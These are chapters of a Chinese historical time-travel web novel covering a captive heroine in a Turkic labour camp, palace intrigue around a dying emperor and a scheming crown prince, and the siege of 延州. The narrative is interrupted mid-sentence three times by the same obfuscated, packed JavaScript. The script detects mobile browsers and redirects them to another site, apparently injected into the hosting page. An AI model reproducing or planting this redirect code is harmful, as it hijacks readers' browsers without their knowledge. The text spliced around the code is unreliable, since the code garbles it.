下午开工后不久，明丽也回来了。她脸上的红晕非但未消，反而更甚，连耳根都透着薄红。等监工例行巡视完，明丽立刻用胳膊肘轻轻碰了碰旁边的季辞秋，眼睛亮晶晶的，压着兴奋的颤音：“妹妹，我跟你说个事。” 季辞秋手中梭子不停，面上恰到好处地露出一点疑惑：“嗯？什么事？” 明丽舔了舔有些干裂的嘴唇，声音更低了，带着少女般的羞怯：“你……你认得沟渠那边那个，常打咱们棚前过的李井不？” “知道，怎么了？”季辞秋语气寻常。 “他……他今儿个，跟我说了……”明丽脸上的笑容藏也藏不住，冲淡了疤痕带来的戾气，显出几分罕见的柔亮光彩，“他说……喜欢我。”说完，她警惕地扫了一眼四周，见无人注意，才极快地从怀里摸出一样东西。 “喏，他送我的。”明丽声音里带着掩不住的甜蜜，“就路边掐的，傻里傻气……” 几朵蔫了的小野花，黄白紫杂着，用一根细草茎仔细捆着，花瓣边缘有些卷曲，却收拾得很干净。 季辞秋看着她眼中难得的光彩，真心实意地低声道：“恭喜你。” 这句恭喜似乎打开了明丽的话匣子。她一边手下机械地动作，一边絮絮地讲述和李井如何在这营地里相识，如何趁监工不注意交换一个窝头……都是些微不足道的琐碎，但在这朝不保夕的炼狱里，却成了最珍贵的糖。 她说得投入，末了，才想起什么，转头看向季辞秋，眼神好奇：“光说我了。你呢？你有没有喜欢的人？” 季辞秋手上的动作微微顿了一下，随即恢复如常，低声答：“没有。” “没有？”明丽的眼珠转了转，带着洞悉的狡黠，“没有你方才顿那一下做什么？” “明丽姐姐，喜欢……是什么意思？”一旁一直安静听着的长宁抬起头，小声问。 “喜欢啊……”明丽想了想，目光飘向棚外某个方向，声音不自觉地放柔了，“大概就是，看到这个人就想笑，心里头总是不由自主地想起他，有什么好的坏的，都想第一个告诉他。要是有人像方才那样问你，”她看向季辞秋，眼神认真，“你脑子里第一个蹦出来的人，八成就是你喜欢的那个。” 第一个想起的人？ 一张脸毫无预兆地撞入季辞秋的脑海——沉静的眼，挺直的鼻梁，总是没什么表情，却会在她转身时，投来专注的目光。 季辞秋只觉得脸颊“轰”地一下热了起来，下意识地别开脸。 “哈！”明丽精准地捕捉到了她这瞬间的异样，用手肘轻轻撞了她一下，压低的声音里满是“被我抓到了”的得意，“还不承认！妹妹，你不仗义啊，听了我的事儿，还跟我藏着掖着！” 季辞秋被她戳破，叹了口气，知道瞒不过，只得低声道：“方才……脑子里确实闪过一个人。但或许，并非你说的那种喜欢，可能只是感激。况且，我与他……也绝无可能。” 明丽却听得眼睛发亮，兴趣更浓：“说说，他是个什么样的人？你们怎么认识的？” 季辞秋沉默片刻，将叶望的身份模糊成一个“家中颇有资财的公子”，拣了些片段说。说他雇她到府上做账，酬金给得丰厚，她因此心存感激。但他们之间只是朋友，或许，连朋友都算不上。 明丽听完，眉头却蹙了起来，一脸狐疑：“你确定，那位公子对你没别的意思？” 季辞秋一怔：“为何这么说？” “这不明摆着吗？”明丽分析起来头头是道，“他既是有钱公子哥，家里会缺算账的？街上一抓一大把，为何单找你？还给你那么多钱？” “我问过他，”季辞秋回忆道，“他说，是因我父亲旧谊之故，但又说不全是。” “不全是？那还因为什么？”明丽立刻抓住关键。 季辞秋摇头：“他未曾明言。”她顿了顿，手指无意识地摩挲着手上那枚指环，“我临行前，他送了这枚戒指给我，说是留着防身。” “戒指？”明丽眼睛一亮，凑近了些，“给我瞧瞧？” 季辞秋微微抬手。 明丽就着昏暗的光线仔细端详，越看眼睛瞪得越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290717|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大，末了，咂了咂嘴，啧啧感叹：“这指围，刚刚好，不松不紧，定是量过，或是特别留意过你的尺寸才定做的。你瞧这花纹，”她指着戒面上那极其细微、几乎看不清的缠枝纹，“在这种小物件上雕得这么细致，一点不扎手，这手艺，可不是寻常银匠能有的。这料子也温润，怕不是普通的银或铜……更别说里头还藏着机关。” 季辞秋愕然，低头反复看着自己指间的戒指。她只当是个精巧的暗器，从未深究其来历与用心。此刻经明丽一点，那些被忽略的细节蓦然清晰。 脸上刚刚褪下去的热意又悄悄爬了上来。但她仍是摇头，像是在说服自己，也像是在抵御某种不切实际的猜想：“因着我是季恪的女儿，他想多照拂一二，也是情理之中。除了这些物件，他待我……与旁人并无不同。” “再说了，如今想这些，也是无益。”她扯了扯嘴角，试图用一个轻松的语气掩盖，“山河阻隔，生死难料，怕是……再也见不到了。” 棚外，监工的脚步声再次逼近，季辞秋重新垂下头，将脸埋得更低。 —— 太极宫，冰鉴里垒起的方冰融出一圈圈水痕，将夏日的热浪隔绝在殿外。景帝倚在紫檀榻上，双目微阖，身形愈发消瘦。 金吾卫将军沈彻立在阶下，声音压得很低：“回陛下，东宫近日无外务，唯……太子殿下于东郊骊山南麓，私下圈了一块禁苑边地，起了一座祠庙。” 景帝的眼皮微微一动，并未睁开。 沈彻继续道，言辞斟酌，却字字清晰：“庙中不供神佛，不祀先祖，只奉……已故詹贵妃长生牌位。东宫近侍、属官，乃至部分护卫，皆被令前往参拜行礼，规矩俨然。” “哐”一声轻响，景帝手边那盏早已凉透的参茶碗盖，被他的手指无意带倒，在紫檀案几上滚了半圈。 “詹氏……”他咀嚼着这两个字，声音沙哑。一个宫嫔，按制不得单独立祠、享太子亲祭，如此简单的道理，太子怎会不知？可他仍借着东宫的威仪行此事，似乎在变相与他抗衡。 景帝心中冷笑，倘若此举被默许甚至效仿，“嫡长子”之尊从何而来？宗庙礼序的权威何在？ “德弘，”他开口，每个字都淬着寒意，“去东宫。问太子，《大周开元礼》中东宫祭祀诸仪，可还记得？再问问他，身为国本，是宗庙礼法为重，还是一己私怀为先？让他跪到小祠堂前，好好想清楚，他今日所执之礼，祭的究竟是谁，乱的……又是什么！” “老奴明白。”向德弘深深一躬，迈着小碎步退下。 殿内又只剩下滴水声，景帝陷在宽大的御座里，目光空寂。 “沈彻啊，”他望向座下低垂着头的将军，语气像个普通的疲倦老人，“朕过去总觉得，这个儿子只是性子闷了些，不爱说话。如今看来，不是不说，是心思太沉，沉得……连朕都快看不清了。” 74. 真相 营地的日子像陷入泥沼，沉重而缓慢。季辞秋无时无刻不在思索脱身之策，然而突厥看守严密，她们的活动范围又被严格限制在织布区与棚户之间，始终寻不到合适的时机。 与此同时，另一桩心事也沉沉压着她——当年那场长平之战，云中郡究竟发生了什么。营地里的人似乎很避讳提起，不愿揭开鲜血淋漓的旧伤疤。 这晚，白日酷热未散，棚内闷得如同蒸笼。长宁疲惫不堪，早早蜷在草席上睡去。季辞秋与明丽难以入眠，悄悄爬上一处稍高的土堆乘凉。 远处，云中郡残破的城墙在夜色中勾勒出沉默的剪影，墙头上依稀可见箭垛的残迹与焦黑的印记。明丽抱膝坐着，望着那片阴影，忽然低声说：“要是没有那场仗……该多好。我爹娘的医馆，应该还开着门，哥哥说不定都成家了。” 夜风拂过，带着旷野的草腥气。季辞秋沉默片刻，问：“当年……发生了什么？” 明丽目光有些空茫，陷入了回忆：“那年，本来一切都好好的。突然有一天，消息像炸了锅一样传开，说突厥人的大队骑兵，朝云中郡来了。大家都懵了。我们这地方，要钱没钱，要地没多少地，以前突厥人南下打草谷，都懒得绕过来，谁能想到他们会正经来攻城？城里当时就乱了套，跑的跑，藏的藏。” “后来呢？” “后来……来了一支军队，听说是从长平那边紧急调来的，领头的是个节度使，很大的官。”明丽努力回忆着，“他一来，城里的兵和百姓，才算有了主心骨，觉得有救了。可是……好景不长。” 她眉头紧锁，“没过两天，城里气氛就变了。好像来了什么人，吵得很厉害。再后来，就听见有人喊，喊什么……‘反贼伏诛’？记不清了。然后突厥人就攻城了，守城的将士们没能抵挡多久。城破了，死了好多人，活下来的，就成了现在这样。” 季辞秋的心慢慢沉下去。 明丽忽然想起什么，转过头：“我认得一个人，是那场仗里侥幸活下来的老兵，就在营地里。他或许知道得更清楚些。” 季辞秋心头一震：“能带我去见见他吗？” 两人趁着夜色，避开零星巡视的火光，悄悄摸到营区另一头挖沟渠的棚区。李井正蹲在棚外就着月光修补一只破草鞋，见她们过来，很是惊讶。明丽低声说明来意，问：“戚老睡下了吗？” 李井摇头，指了指最里头一个低矮的茅草棚：“还没，在里头弄他的家伙什呢。” 两人跟着李井钻进狭小的棚子，一个头发花白、脊背微驼的老人，正就着一盏豆大的油灯，专注地打磨一把锈迹斑斑的铁镐。 “戚老，”明丽熟稔地唤道，语气带着关切，“我前几日给你的药膏，腿疼可好些了？” 戚卫抬起头，看到明丽，严肃的脸上露出一丝温和的笑意：“是明丽啊，好多了，难为你还惦记着。”他的目光随即落到季辞秋身上，带着询问。 “戚老，这位是我最近认识的朋友，从延州来的，有些事……想问问您。”明丽介绍道。 季辞秋上前一步，恭敬地行了个礼：“戚老。” 戚卫点点头，目光在季辞秋脸上停留，看着看着，脸上的温和渐渐褪去，眉头皱起，口中喃喃：“像……真像……” 季辞秋心下一紧，面上却不动声色：“戚老说什么？” 戚卫又盯着她看了片刻，缓缓道：“姑娘莫怪，老朽只是觉得……你长得，很像我一位故去的友人。他曾给我看过他小女儿的画像，眉眼间，颇有几分神似。”他叹了口气，摇摇头，“可惜啊，那位故人，早已不在了。若他还在，云中郡或许不会是如今这副光景。” 明丽忍不住问：“戚老，您说的故人是……？” “是季节使，”戚卫将铁镐放下，擦了擦手，“当年，我还是云中郡守军的司马，协理些军务杂事。太平年月，云中与长平同属一镇，往来不少，我便有幸结识了季将军。” “戚老，能说说当年那场战争吗？”明丽轻声道。 戚卫顿了顿，眼中泛起痛楚：“那场战争……突厥的目标本是长平，不知为何，大军行进途中突然转向，直扑我们这不起眼的云中郡。这里战略价值不大，也不富庶，城防一向薄弱。消息传来，人心惶惶。朝廷的意思……是让我们据城坚守，但谁都明白，这‘坚守’的意思多半是拿我们当弃子，真正要紧的是东面的嘉峪关。” “就在大家绝望时，季将军来了。”戚卫的声音里有了一丝光亮，随即又迅速黯淡下去，“他未经朝廷明确调令，便亲率一支精锐，星夜兼程赶来。他一来便布置城防，安抚百姓，全城军民士气大振，我们都以为……云中郡能守住。” “可谁能想到，仅仅两日后，朝廷的传令官便带着邸报到了。说季将军擅自动兵，未得上命，有反叛之心，勒令即刻交出虎符，束手就擒。若不从，立斩不赦。”戚卫闭了闭眼，仿佛又看到那日场景，“季将军不服，与来使据理力争，说军情如火，岂能坐视边城陷落、百姓遭戮？拉扯推搡之间……那来使身后一名侍卫，竟突然拔刀，直刺季将军心口！” 戚卫老泪纵横，声音哽咽：“是我……是云中郡连累了他啊！这城，本就不值得他赌上前程性命来救。朝廷要的是大局，是嘉峪关。可季将军说，没有什么值不值得，只有该不该救。城里的都是人命，没有高低贵贱。我恨啊！恨自己当年为何不多练兵，为何不能守住城池，为何要让将军来救，还害他背上这等污名，遭此毒手！”老人捶打着自己的膝盖，痛苦不堪。 季辞秋静静地听着，季恪最后时刻的碎片，以一种残酷的方式拼凑起来。一个战功显赫的将军，最终死在他誓死捍卫的人手上，不可避免地透露出深重的荒凉。 她深吸一口气，努力让声音保持平稳：“戚老，不必过于自责。欲加之罪，何患无辞。朝廷对将军早有猜忌之心，即便没有云中郡之事，也会有别的借口。” 戚卫抬起泪眼，看向季辞秋，目光复杂：“姑娘，你是季将军之后吧。” 季辞秋沉默片刻，轻轻点了点头。 “孩子，你怎么会……流落到此？”戚卫哑声问。 “遭官府缉捕，一路北逃，不慎落入突厥之手。”季辞秋简略道。 戚卫长长叹了口气，又问：“你在京城时……可曾听闻，朝廷有收复云中郡的打算？” 季辞秋想起那模糊的历史记载，云中郡的收复，似乎是在叶朗登基数年之后了。她摇了摇头，声音干涩：“未曾听说。” 戚卫眼中最后一点希冀的光熄灭了，他没再说什么，拾起手边的铁镐。 一旁的明丽和李井早已听得目瞪口呆。明丽眼中积聚起泪水，她一把抓住季辞秋冰凉的手，哽咽道：“妹妹，我不知道你……你受苦了。以后在这儿，我们就是你的家人，有什么事，一定要跟我们说！” 李井则是眼神复杂地看着季辞秋，欲言又止。 这次会面后，季辞秋表面上仍和往常一样，沉默地织布，暗中观察突厥的动向。 她注意到，突厥人似乎只将云中郡当作补给加工点，强迫汉人生产布匹、陶器等物资。大部分突厥兵仍习惯住在草原上，每隔一段时间便会轮换一批人来这里。这种流动，意味着管理和防御上的间歇性疏漏。 就在她默默寻找疏漏时，一日晌午，李井出现在了织布区附近。季辞秋看到，自然地走过去低声道：“找明丽？她在河边洗衣。” 李井却摇摇头，神情严肃：“季姑娘，我是来找你的。可否借一步说话？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295430|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >季辞秋心中微讶，点头跟上。李井带着她，避开人多眼杂处，七拐八绕，来到营地西南角一处围墙根下。他警惕地四下张望，迅速拨开表面覆盖的厚厚枯草，下面赫然露出一个被小心遮掩、仅容一人通过的墙洞。 “快！”李井低声道，率先钻了过去。 季辞秋没有犹豫，紧随其后。爬出墙洞，外面是一片荒凉的乱石坡。李井带着她又疾行了一段，穿过一片天然形成的嶙峋石林，眼前豁然开朗——竟是一个隐蔽在山坳中的小营地！虽然简陋，但明显有人长期活动的痕迹，甚至还有几个简易的木架，似乎是用来练习劈砍的。 “站住！什么人？”一个警惕的声音响起，阴影里走出一个持着削尖木棍的汉子。 “是我，李井。”李井上前，侧身让出季辞秋，“带了一位朋友来，就是我跟你们提过的那位姑娘。” 那汉子目光落在季辞秋脸上，警惕迅速化为惊讶，继而亮起热切的光，他连忙让开道路，甚至有些手足无措地做了个“请”的手势。 营地里有十几个人，正围着一小堆篝火低声商议着什么，见李井带人进来，纷纷起身，目光齐刷刷落在季辞秋身上。一个满脸络腮胡的壮汉忍不住上前一步，声音因激动而有些发颤：“姑娘，你……你真是季将军的后人？” 季辞秋一愣，目光倏地看向李井。 李井挠挠头，有些不好意思：“季姑娘，莫怪。这里……是我们一些不甘心被奴役的弟兄，偷偷建起来的地方。朝廷不管我们，突厥拿我们当牲口，我们不能坐着等死！大家伙凑在一起，偷偷练点把式，藏点家伙，就盼着有一天，能有点力气，给突厥人点颜色看看。” 他指了指周围的人，“这里的弟兄，当年受过季将军恩惠，或是仰慕将军为人，绝不相信将军会是反贼！那日我从戚老那儿听说了你的事，回来跟他们一提，大家就都想见见你。今日唐突，还请姑娘勿怪。” 季辞秋环视这一张张布满伤痕却仍闪着灼热光芒的脸庞，摇了摇头，郑重道：“诸位义士高义，季某感激不尽，何来唐突？我亦不愿坐以待毙，苟且偷生。若蒙不弃，愿与诸位同心协力，尽一份绵薄之力！” 李井闻言，脸上露出欣喜的笑容，重重一点头：“好！” 自此，季辞秋的生活仿佛拨开迷雾，有了方向。她依然在织机前工作着，但心神的一部分，已系于那个隐蔽的山坳营地。 她去那里的次数渐渐增多，凭借过去所学，帮着整饬营地，指点一些粗浅的配合与警戒之法。那些汉子对她敬重有加，并非只因她是季恪之女，更因她沉稳果决，见识不凡。 日子在压抑与微弱的希望交替中流淌，酷暑的余威终于被秋风吹散，天气一日日凉了下来。某日清晨，季辞秋望着棚外枯黄飘落的树叶，忽然想起明年就是天凤二十五年了。天凤年号的最后一年。 这也意味着……叶望的生命，即将进入倒计时。 这个认知，像一只无形的手，骤然攥紧了她的心脏，胸口一阵心慌，让她几乎喘不上气。 穿越至今，她早已无法将自己置身于这段历史之外。她知道叶朗终将夺得帝位，开启史书所称的盛世。可一想到紧随其后的，便是叶望的英年早逝，一种尖锐的悲伤，便铺天盖地淹没了她。 这种感觉不再是对历史人物扼腕的叹息，而是一种私人的、内化的悲伤。像一把钝刀，一寸寸凌迟着血肉。 为什么在这样朝不保夕的绝境里，明明看不见他，对他的牵挂和关于失去的预感，会变得如此具象而痛楚？ 天凤二十五年，那不足一年的时光里，究竟发生了什么？ 她用力闭了闭眼，将翻涌的情绪死死压回心底。无论未来如何，她必须先活下去，必须从这炼狱里出去。 75. 抉择 天气寒凉，向德弘立在殿外廊下，呵出的白气瞬间消散在灰蒙蒙的天光里。他叫住一队搬运银骨炭的宫人，指了指标有内府特供印记的篓子：“这些，也送进去。” 领头的宦官略有迟疑，躬身道：“总监，昨日已按份例送足了……” 向德弘淡淡扫过去一眼，“陛下的身子，经不得半点凉气。”他语气平淡，却带着不容置喙的意味，“让你送，便送。多余的，不必问，更不必说。” 宫人诺诺称是，忙不迭指挥手下将更多的炭篓抬入殿中。待人走远，向德弘独自望着那扇紧闭的殿门，几不可闻地叹了口气。 圣上的身子，是一日不如一日了。送进去的御膳，动得越来越少，夜里咳嗽的声音，隔着门都能听见。找太医署看过多次，也瞧不出什么明堂，只说“操劳过度，静养即可”。 正想着，殿内传来一阵压抑不住的闷咳。向德弘神色一凛，迅速敛去所有外露的情绪，轻轻推门而入。 殿内炭火燃得正旺，暖意熏人。景帝半靠在榻上，接过宫女手中的温水饮了一口，苍白的脸上因咳嗽泛起不正常的潮红。见他进来，景帝挥手屏退左右，只留向德弘一人。 宫灯的光晕柔和地笼罩下来，景帝望着眼前鬓发斑白的老奴，目光涣散。“德弘啊，”他声音有些哑，却难得带上一丝松缓，“朕方才忽然想起，小时候贪玩，打碎了父皇心爱的澄泥砚，怕得躲到你房里，还是你去顶的罪，挨了十下板子。” 向德弘垂手立在榻边，脸上冷硬的线条柔和了些许，低声道：“老奴皮糙肉厚，不打紧。陛下那时还偷偷给老奴塞桂花糖。” “是啊……”景帝扯了扯嘴角，像是个笑的模样，“那时候怕归怕，心里却没什么真正压着的事。天塌下来，上头还有父皇。”他顿了顿，眼中的那点微光渐渐黯下去，化为一片深沉的疲惫，“如今才知道，坐在这个位置上，便是孤家寡人。天塌下来，得自己顶着。” “陛下是万金之躯，定能安康……”向德弘忙劝慰。 景帝却轻轻摇了摇头，打断了他：“朕自己的身子，自己清楚。太医的话，哄哄外人罢了。”他不再继续这个话题，重新闭上了眼睛。 殿内寂静，只有银炭偶尔爆开的“噼啪”轻响。 这份寂静并未持续太久，便被殿外沉稳的脚步声打破。金吾卫将军沈彻去而复返，甲胄带着室外的寒气，在暖殿中凝出淡淡的白雾。 行礼后，他并未寒暄，直入核心：“陛下，臣依令细查了近日宫门守卫轮换记录与任免文书。表面并无纰漏，然新任左银门值守副统领、玄武门西南角楼巡使等七人，虽履历干净，调令合规，但其出身、旧交或师承与东宫属官有着千丝万缕的关联。如此集中，恐非巧合。” 景帝依旧闭着眼，只是搭在锦褥上的手，指节微微绷紧了一下。 “朕还没死呢，”他喉间溢出一声极低的冷笑，睁开眼，眼底寒芒凛冽，“他就这么急着，想替朕……挪个地方？” 沈彻单膝跪地，低头屏息，不敢接话。 景帝的胸膛微微起伏，心中盘算着。十二卫，尤其是宫禁守卫的调动，历来敏感，每一笔记录都会直达御前。老三不会不知道。 如今这样明目张胆的试探，怕是真动了取而代之的心思，开始清扫道路，安插自己的人了。 养虎为患。 这四个字如同冰锥，刺入景帝的心口。他缓缓扫过宏伟而空旷的大殿，从高高的藻井，到冰冷的金砖，最后落在自己枯瘦的手背上。他忽然极轻地笑了一下，笑声里毫无欢愉，只有无尽的苍凉。 “德弘，快年关了。”他沉沉开口，“人老了，就格外念旧，想看看儿孙。传朕的意思，让宫里好好筹备，朕要设家宴，过个热闹的年。所有在外就藩的亲王、郡王，皆需回京贺岁。朕……想他们了。” 旨意如同投入静湖的石子，涟漪迅速荡开，传至东宫时，叶玄正立于窗前，望着庭院中枯瘦的枝桠。 “挂念子孙？”他嘴角勾起一抹冷笑，指尖无意识地摩挲着冰凉的窗棂，“父皇这么多年不闻不问，今年倒是忽然父爱深重了。” 成影眉宇间带着忧虑：“殿下，诸王回京，人员冗杂，恐会妨碍我们……” “不急。”叶玄转过身，烛光在他半边脸上投下摇曳的阴影，“父皇既然有这份慈心，做儿子的，岂能不如愿？”他顿了顿，语气温和，“就让父皇，好好过这最后一个寿辰吧。” 他走到书案前，指尖划过舆图边缘，落在“延州”二字之上。“‘外头’那些人，谈得如何了？” 成影收敛心神，低声道：“已按殿下吩咐，将延州部分边镇布防的旧闻，透了过去。他们很满意，只等我们这边的风声了。” 叶玄点了点头，眼中闪过一丝精光：“可以动手了。让那些蛮子记住，多拖些时间，拖得越长，日后他们拿到的报酬，自然就越丰厚。” 成影领命，却又迟疑一瞬，低声道：“殿下，晋王终究只是藩王，军政实权在节度使手中。单凭突厥此番扰边，未必真能将他拖在延州，万一……” “万一他按兵不动？”叶玄轻笑一声，“不，你不够了解我这位五弟。他骨子里，还留着当年那个爱兵如子的将军的影子。他最见不得的，就是城池被毁，百姓流离。延州有难，他绝不会坐视不理。更何况……” 他目光投向舆图上更辽阔的疆域，声音平静无波：“就算最坏的情况发生，延州真被那群蛮子撕开一道口子，又如何？等我清理完京中的阻碍，顺利继承大统，再发兵收复失地，岂不是更添一笔靖边安民的美名？一时的得失，算得了什么。” 成影心下一凛，深深俯首：“殿下深谋远虑，英明至极。” —— 寅时三刻，延州城。 巡更的梆子声规律地响过城墙，换班的守兵像往常一样与同伴交接。 “哎，那是什么？”接班的人指着西侧一段看似无异的城墙垛口。 守兵眯了眯眼，顺着他指的方向走了几步，这才看清。一道道钩子紧紧贴在垛口的缝隙里，垂下几道绳索。 他发出半声短促的惊呼，来不及反应，黑暗中扑出几道黑影，二人立时毙命。 附近另一队守兵察觉到了异常，上前查看。 “有敌袭——！是突厥人！” 凄厉的警报划破夜空，铜锣被疯狂敲响。 翌日黎明，天色将明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303858|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未明之际，城东一段年久失修的城墙根下，不知何时被挖通了数个仅容一人通过的狭窄地穴，更多的突厥嘶吼着冲杀出来。 措手不及的守军仓促应战，刀光剑影，血肉横飞，足足厮杀了一个多时辰，才勉强将敌人重新压回缺口之外。 突厥人没有强攻，却也没有退去。他们像嗅到腐肉的鬣狗，在不远处扎下简易营盘，游骑四出，死死盯住延州城。 渭北节度使谭奇站在墙头，冷汗浸透了内衫。直觉告诉他，这并非是寻常抢掠，而是一次有组织的军事行动。他几乎立刻想起了几年前，同样在一个冬天，云中郡是如何被一支突然出现的突厥主力里应外合攻破的。 恐慌如同潮水，悄无声息地漫过延州的大街小巷。商铺早早关门，百姓躲在家中，只有持戈巡逻的士兵脚步声，沉重地敲打着人心。 龙兴镖局后院，派去前线打探的镖师匆匆回来：“缺口暂时堵住了，城墙在抢修。但突厥人没走，散在东北面二十里外的野狐沟一带，马队来回跑动，看着不像要撤。” 就在这时，房门被轻轻推开，青戈闪身进来，带来另一个更令人不安的消息：“公子，刚接到鄜州的情报。老君山那批人……昨夜全部撤离，踪迹全无，营地收拾得很干净，没留下任何线索。” 房间里的空气骤然凝固。 叶望与叶朗对视一眼，都看到了对方眼中的凛然。老君山的私兵，规模不小。突然消失，只意味着一件事——有更需要、更紧急的地方，用上了他们。或者说，他们的主人，已经等不及了。 “京里的旨意，前日就到了。”待镖师退下，叶望低声道，“父皇思念子孙，要所有藩王回京过年，共叙天伦。”他嘴角扯出一丝冰冷的弧度，“张展的信你也看了，父皇的身体……怕是灯枯之象。此时下此旨意，本就蹊跷。如今老君山的人突然消失，突厥便精准来袭，时机拿捏得如此之巧……” 叶朗沉声道：“五哥是怀疑，太子要动手了？用突厥人拖住延州，拖住你？” “不止。”叶望走到舆图前，手指点着延州，“若延州危急，甚至城破，我身为藩王，是遵旨回京，还是留下抗敌？回京，便是弃边城百姓于不顾；留下，便是抗旨不遵。届时，拥兵自重、意图不轨的罪名，只怕立刻就会扣到我头上。” “五哥，”叶朗压低声音，语气凝重，“京城的事不能不管。太子若真敢行大逆之事，必须阻止他！否则大局倾覆，你我的心血，还有那么多人的指望，全都完了。” 叶望何尝不明白。景帝若在，哪怕病重，秩序尚存；景帝若骤然崩逝，叶玄掌控局面，矫诏继位，一切便难以挽回。必须去京城。 可是…… 他的目光转向窗外，看着这座正在恐惧中颤抖的城池，和记忆中无数兵戈相向的画面重合。经历过数不清的战争，他清楚地明白战争的残酷，对身处其中的任何一个个体都会带来毁灭性的伤害。 置之不理，任由突厥铁蹄践踏？他做不到。 一边是迫在眉睫的皇权更迭、天下大势；一边是血火交织的边城危局、黎民生死。 忠与义，家与国，去与留，在此刻化为冰冷的两难，沉重地压在他的肩头。 76. 抉择 沉默蔓延了很久，久到时间几乎凝固。屋内的气氛凝重，进退两难的抉择像一块厚重的铅，重重压在几人心头。 “京中之事，关乎国本，不能不管。”良久，叶望终于开口，“小九，你带一批得力人手，以押送重镖为名，即刻秘密启程，潜入长安。不必妄动，只需静观其变，若太子真有异动，再寻隙行事，务必护住父皇周全。” 叶朗闻言，并未立刻领命，反而眉头紧锁：“五哥，京城局势目前仅是你我推测。但抗旨不遵，是明摆着的大罪！有心之人只需在病重的父皇耳边稍作挑拨，说你滞留藩地、意图难测，到时便是百口莫辩。依我看，最稳妥之法，是我留下周旋，你速速回京。” 叶望摇了摇头，脸上露出一丝疲惫：“不，这趟京城，最该去、也必须去的人，是你。” 他看着叶朗瞬间怔住的神情，继续冷静分析，字字如钉：“你‘死而复生’，母族又背负罪名，在朝臣与世家眼中，你的根基最为不正。此番若真是太子行大逆之举，便是你的机会。救驾于危难，揭发其阴谋，力挽狂澜于既倒——唯有如此泼天之功，方能彻底洗净你身上的污名与嫌疑，让你日后即位，名正言顺，无人敢置喙。这个机会，你必须抓住。” “至于延州……我驻边多年，熟知边情，也略通军务。守土安民，本就是我辈之责。况且，唯有我留下，设法稳住突厥，才能让你在京城无后顾之忧，也让太子的算计落空。眼下，这是唯一能两全的法子。” 叶朗张了张嘴，想反驳，却找不到更有力的理由。他明白叶望说得对，这是险中求胜、甚至是以身为饵的一步棋。沉默半晌，他重重叹了口气：“延州凶险，局势莫测。五哥，千万保重。事若不可为……务必留有退路。” 叶望扯出一丝笑，拍了拍他的肩膀：“放心。” 次日拂晓，一大队镖师押着几辆覆着油布的大车，自城郊营地悄无声息地离开，向南而去。与此同时，叶望径直前往节度使府。 谭奇正为战事焦头烂额，见到叶望主动前来，言明愿协助守城，又惊又喜。 叶望昔年在陇西时的威名与战绩，边军多有耳闻。他的出现，犹如一剂强心针，让低迷的士气为之一振。在叶望的协助筹划下，接连打退了突厥几次集中进攻，暂时稳住了摇摇欲坠的防线。 突厥大帐内。 听完战报，可汗粗糙的面皮动了动，看不出喜怒。一旁的特勤小心试探：“可汗，如今这局面，倒是符合那周朝太子所说的‘拖延’之计。只是这般拉扯，儿郎们的折损……” 可汗从鼻子里哼出一声冷笑，打断了他：“拖延？你以为那位太子殿下，真把我们当作可以共享猎狼的盟友？”他眼中闪过鹰隼般的锐利光芒，“他不过是想借我们的刀，除掉碍事的人，让他能顺利坐上黄金宝座。等他大位稳固，你猜他第一件事是给我们牛羊美女，还是调集大军，给我们来个犁庭扫穴，以彰他新皇威仪？” 他站起身，走到帐外，望着远处延州城模糊的轮廓，提高声音，用突厥语对聚集的战士们吼道：“儿郎们！眼前这座城，不是什么铜墙铁壁。当年我们能踏破云中郡，今天就能拿下它！ “更多的勇士正在路上。打破这座城，里面的金银、绸缎、还有水一样的女人，都是你们的。拿出狼的狠劲来，撕开这座城！” 粗野的欢呼声震天响起，嗜血的光芒在无数双眼中点燃。 延州城头，哨兵连滚带爬地冲上敌楼，声音嘶哑：“报——！突厥人又上来了！这次人更多，黑压压的看不到头！” 谭奇啐了一口唾沫，脸色铁青：“他娘的，来真的了！”他急声问，“城中粮草箭矢还有多少？” “省着用，最多还能支撑半月。” “朝廷的援军呢？有消息没有？！” “……暂无消息。” 叶望一直沉默地听着，此刻上前一步，声音平静无波：“不必再等援军了。这么久毫无音讯，即便后续真有援军，也绝赶不及解眼前之围。” 谭奇猛地看向他，眼中布满血丝：“晋王殿下，我们如今该怎么办？难不成……真守不住了？” 叶望没有直接回答。他转身，目光掠过城外卷起的冲天烟尘，喧嚣的风声、战鼓声、喊杀声，似乎在这一刻都离他远去。心中无限平静，做出留下决定的那一刻，他已做好准备，与城共存亡。 一个纤瘦挺直的背影不期然撞入脑海，心脏猛地一抽，泛起丝丝缕缕的痛楚。 她现在……应该已经到长平了吧？听说那里新换了节度使，还算安稳。至少，不必再日夜颠沛、担惊受怕了。 也好。 就这样，很好。 